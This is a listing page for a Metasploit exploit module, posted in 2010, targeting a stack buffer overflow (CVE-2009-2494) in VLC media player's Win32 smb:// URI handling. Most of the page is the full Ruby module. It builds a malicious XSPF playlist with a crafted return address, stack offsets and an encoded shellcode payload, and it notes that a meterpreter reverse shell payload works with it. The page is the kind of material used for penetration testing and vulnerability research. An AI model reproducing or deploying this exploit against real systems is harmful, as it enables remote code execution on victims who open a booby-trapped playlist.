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VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow

VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow
Posted Feb 15, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in the Win32AddConnection function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are reportedly affected. This vulnerability is only present in Win32 builds of VLC. This payload was found to work with the windows/exec and windows/meterpreter/reverse_tcp payloads. However, the windows/meterpreter/reverse_ord_tcp was found not to work.

tags | exploit, overflow
systems | windows, 32
advisories | CVE-2009-2494
MD5 | 02c364203a4d1094c2b1e9c21f293ef3

VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow

Change Mirror Download
##
# $Id: vlc_smb_uri.rb 8475 2010-02-13 06:58:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in the Win32AddConnection
function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are
reportedly affected.

This vulnerability is only present in Win32 builds of VLC.

This payload was found to work with the windows/exec and
windows/meterpreter/reverse_tcp payloads. However, the
windows/meterpreter/reverse_ord_tcp was found not to work.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 8475 $',
'References' =>
[
[ 'BID', '35500' ],
[ 'OSVDB', '55509' ],
[ 'CVE', '2009-2494' ],
[ 'URL', 'http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d5e080180f' ],
[ 'URL', 'http://milw0rm.com/exploits/9209' ],
[ 'URL', 'http://www.exploit-db.com/exploits/9029' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'vlc 0.9.9 on Windows XP SP3',
# shellcode pointers @ esp + {0xa4,0xd0,0xdc,0xec,0x1ec}
{
'Readable' => 0x65414141, # points to nul bytes in libmod_plugin
'Offset' => 409,
# libvout_directx_plugin.dll
# add esp,0xcc / pop ebx / pop esi / pop edi / pop ebp / ret
# esi is used as our buffer register, and also becomes eip
# (there are two copies of the pointer on the stack)
'Ret' => 0x6b54543e,
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jun 24 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xspf']),
], self.class)
end

def exploit

template = %Q|<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
<title>Playlist</title>
<trackList>
<track>
<location>REPLACE_ME</location>
<extension application="http://www.videolan.org/vlc/playlist/0">
<vlc:id>0</vlc:id>
</extension>
</track>
</trackList>
</playlist>
|

readable = [target['Readable']].pack('V')

# we'll model the memory layout post-overflow..
#psz_remote = Rex::Text.pattern_create(2+260+1+260)
psz_remote = rand_text_alphanumeric(target['Offset'] + 4)
psz_remote[0,2] = "\\\\"
psz_remote[2+260,1] = "\\"

# some of this causes crashes in "WNetAddConnection2A" so we need to use
# readable addresses... dodging the crashy derefs!
# NOTE: some of these only occur in odd open scenarios (like drag/drop)
psz_remote[263,4] = readable
psz_remote[271,4] = readable
psz_remote[325,4] = readable
psz_remote[337,4] = readable

# add the return addr in
psz_remote[target['Offset'],4] = [target.ret].pack('V')

# now we can split it and put it in the xml...
host,share = psz_remote[2,psz_remote.length].split("\\")
path = "smb://%s@%s/%s/" % [payload.encoded, host, share]
sploit = template.gsub(/REPLACE_ME/, path)

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sploit)

end

end

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